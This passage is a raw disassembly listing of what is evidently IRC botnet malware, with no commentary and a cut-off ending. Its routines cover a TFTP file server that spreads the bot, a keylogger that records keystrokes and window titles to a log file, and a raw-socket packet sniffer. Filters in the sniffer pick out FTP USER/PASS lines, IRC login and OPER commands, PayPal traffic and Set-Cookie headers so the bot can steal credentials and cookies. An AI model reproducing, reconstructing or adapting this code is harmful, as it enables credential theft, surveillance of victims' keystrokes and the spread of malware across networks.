		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_411BA8
		cmp	[ebp+var_CF], 1
		jnz	loc_411AAE
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41AFE0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_41D1EC
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41B11A
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CB698	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411A9C
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409A72
		add	esp, 14h


loc_411A9C:				; CODE XREF: sub_411796+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AC
		pop	ecx
		jmp	loc_411BBE
; ---------------------------------------------------------------------------


loc_411AAE:				; CODE XREF: sub_411796+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_411BA8
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_411AEB
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_411AF9
; ---------------------------------------------------------------------------


loc_411AEB:				; CODE XREF: sub_411796+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_411AF9:				; CODE XREF: sub_411796+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41D1EC
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CB698	; sendto
		cmp	edi, ebx
		jnz	short loc_411BBE
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411B93
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409A72
		add	esp, 14h


loc_411B93:				; CODE XREF: sub_411796+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AC
		inc	dword_4CE13C
		pop	ecx
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BA8:				; CODE XREF: sub_411796+24Aj
					; sub_411796+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_434D30
		push	esi
		call	dword_4CB698	; sendto


loc_411BBE:				; CODE XREF: sub_411796+1E9j
					; sub_411796+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_411926
		mov	edi, [ebp+arg_0]


loc_411BCA:				; CODE XREF: sub_411796+199j
		push	esi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_4]
		call	sub_41B05B
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_411BFB
		push	[ebp+var_168]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_411BFB:				; CODE XREF: sub_411796+450j
		push	3E8h
		call	dword_427078	; Sleep
		push	edi


loc_411C07:				; CODE XREF: sub_411796+125j
		call	sub_411796
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_411796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C13	proc near		; CODE XREF: sub_411CF4+B4p
					; sub_411CF4+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42712C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_43551C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_114]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: sub_411C13+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_411CEF
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_4354EC
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: sub_411C13+A3j
		xor	eax, eax


loc_411CF1:				; CODE XREF: sub_411C13+65j
		pop	esi
		leave
		retn
sub_411C13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CF4	proc near		; DATA XREF: sub_401ACD+4508o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_4CB5B8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB5D0	; GetWindowTextA
		mov	ebx, 200h


loc_411D4F:				; CODE XREF: sub_411CF4+2C7j
		push	8
		call	dword_427078	; Sleep
		call	dword_4CB5B8	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_411DD7
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB5D0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41B886
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_411C13
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_411DD7:				; CODE XREF: sub_411CF4+6Cj
		mov	[ebp+arg_0], offset aB_0 ; "b"


loc_411DDE:				; CODE XREF: sub_411CF4+2BDj
		push	10h
		call	dword_4CB508	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4CB600	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_411E76
		push	14h
		call	dword_4CB508	; GetKeyState
		test	ax, ax
		jz	short loc_411E27
		cmp	esi, 0FFFFFFFFh
		jle	short loc_411E27
		cmp	edi, 40h
		jle	short loc_411E27
		cmp	edi, 5Bh
		jge	short loc_411E27
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_411FA6
; ---------------------------------------------------------------------------


loc_411E27:				; CODE XREF: sub_411CF4+112j
					; sub_411CF4+117j ...
		push	14h
		call	dword_4CB508	; GetKeyState
		test	ax, ax
		jz	short loc_411E52
		test	esi, esi
		jge	short loc_411E66
		cmp	edi, 40h
		jle	short loc_411E52
		cmp	edi, 5Bh
		jge	short loc_411E52
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_411FA6
; ---------------------------------------------------------------------------


loc_411E52:				; CODE XREF: sub_411CF4+13Ej
					; sub_411CF4+147j ...
		test	esi, esi
		jge	short loc_411E66
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_411FA6
; ---------------------------------------------------------------------------


loc_411E66:				; CODE XREF: sub_411CF4+142j
					; sub_411CF4+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_411FA6
; ---------------------------------------------------------------------------


loc_411E76:				; CODE XREF: sub_411CF4+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_411FA6
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_411EAE
		call	sub_41AFE0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_411FA6
; ---------------------------------------------------------------------------


loc_411EAE:				; CODE XREF: sub_411CF4+1A5j
		call	sub_41AFE0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_411EE0
		call	dword_4CB5B8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB5D0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_411F21
; ---------------------------------------------------------------------------


loc_411EE0:				; CODE XREF: sub_411CF4+1C5j
		cmp	edi, 0Dh
		jnz	loc_411F78
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jz	loc_411FA6
		call	dword_4CB5B8	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB5D0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_411F21:				; CODE XREF: sub_411CF4+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_41B886
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_411C13
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_411FA6
; ---------------------------------------------------------------------------


loc_411F78:				; CODE XREF: sub_411CF4+1EFj
		cmp	esi, 1
		jz	short loc_411F91
		cmp	esi, 3
		jz	short loc_411F91
		cmp	esi, 2
		jz	short loc_411F8C
		cmp	esi, 4
		jnz	short loc_411FA6


loc_411F8C:				; CODE XREF: sub_411CF4+291j
		push	[ebp+arg_0]
		jmp	short loc_411F98
; ---------------------------------------------------------------------------


loc_411F91:				; CODE XREF: sub_411CF4+287j
					; sub_411CF4+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_411F98:				; CODE XREF: sub_411CF4+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41BEC0
		pop	ecx
		pop	ecx


loc_411FA6:				; CODE XREF: sub_411CF4+12Ej
					; sub_411CF4+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_4354B4
		jl	loc_411DDE
		cmp	[ebp+var_4], 0
		jz	loc_411D4F
		push	[ebp+var_D8]
		call	sub_40B412
		pop	ecx
		push	0
		call	dword_4270CC	; ExitThread
sub_411CF4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FD5	proc near		; DATA XREF: sub_401ACD+412Ao

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41BB20
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4CB634	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB674	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4CB6B4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4120AA
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_435EBC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_41208D
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409A72
		add	esp, 14h


loc_41208D:				; CODE XREF: sub_411FD5+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_30]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_4120AA:				; CODE XREF: sub_411FD5+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43E57C[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4CB660	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41212F
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_435E90
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_41210B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409A72
		add	esp, 14h


loc_41210B:				; CODE XREF: sub_411FD5+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_30]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_41212F:				; CODE XREF: sub_411FD5+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4CB5E0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4121B2
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_435E60
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_41218E
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409A72
		add	esp, 14h


loc_41218E:				; CODE XREF: sub_411FD5+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_30]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_4121B2:				; CODE XREF: sub_411FD5+177j
		push	ebx
		mov	ebx, offset dword_435578


loc_4121B8:				; CODE XREF: sub_411FD5+21Bj
					; sub_411FD5+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB64C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4122E5
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4121B8
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4121B8
		lea	eax, [ebp+var_1028C]
		push	offset dword_435E54
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121B8
		lea	eax, [ebp+var_1028C]
		push	offset dword_435E44
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121B8
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_4121B8
		mov	[ebp+arg_0], ebx


loc_412241:				; CODE XREF: sub_411FD5+287j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412263
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412241
		jmp	loc_4121B8
; ---------------------------------------------------------------------------


loc_412263:				; CODE XREF: sub_411FD5+27Dj
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4CB564	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_43558C[eax*8]
		push	off_435568[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset dword_435E10
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4122D3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409A72
		add	esp, 14h


loc_4122D3:				; CODE XREF: sub_411FD5+2DCj
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4151AC
		pop	ecx
		jmp	loc_4121B8
; ---------------------------------------------------------------------------


loc_4122E5:				; CODE XREF: sub_411FD5+20Ej
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		push	offset dword_435DE4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_41232B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409A72
		add	esp, 14h


loc_41232B:				; CODE XREF: sub_411FD5+334j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_30]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
sub_411FD5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3A0, eax
		mov	eax, offset dword_4CE3A0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
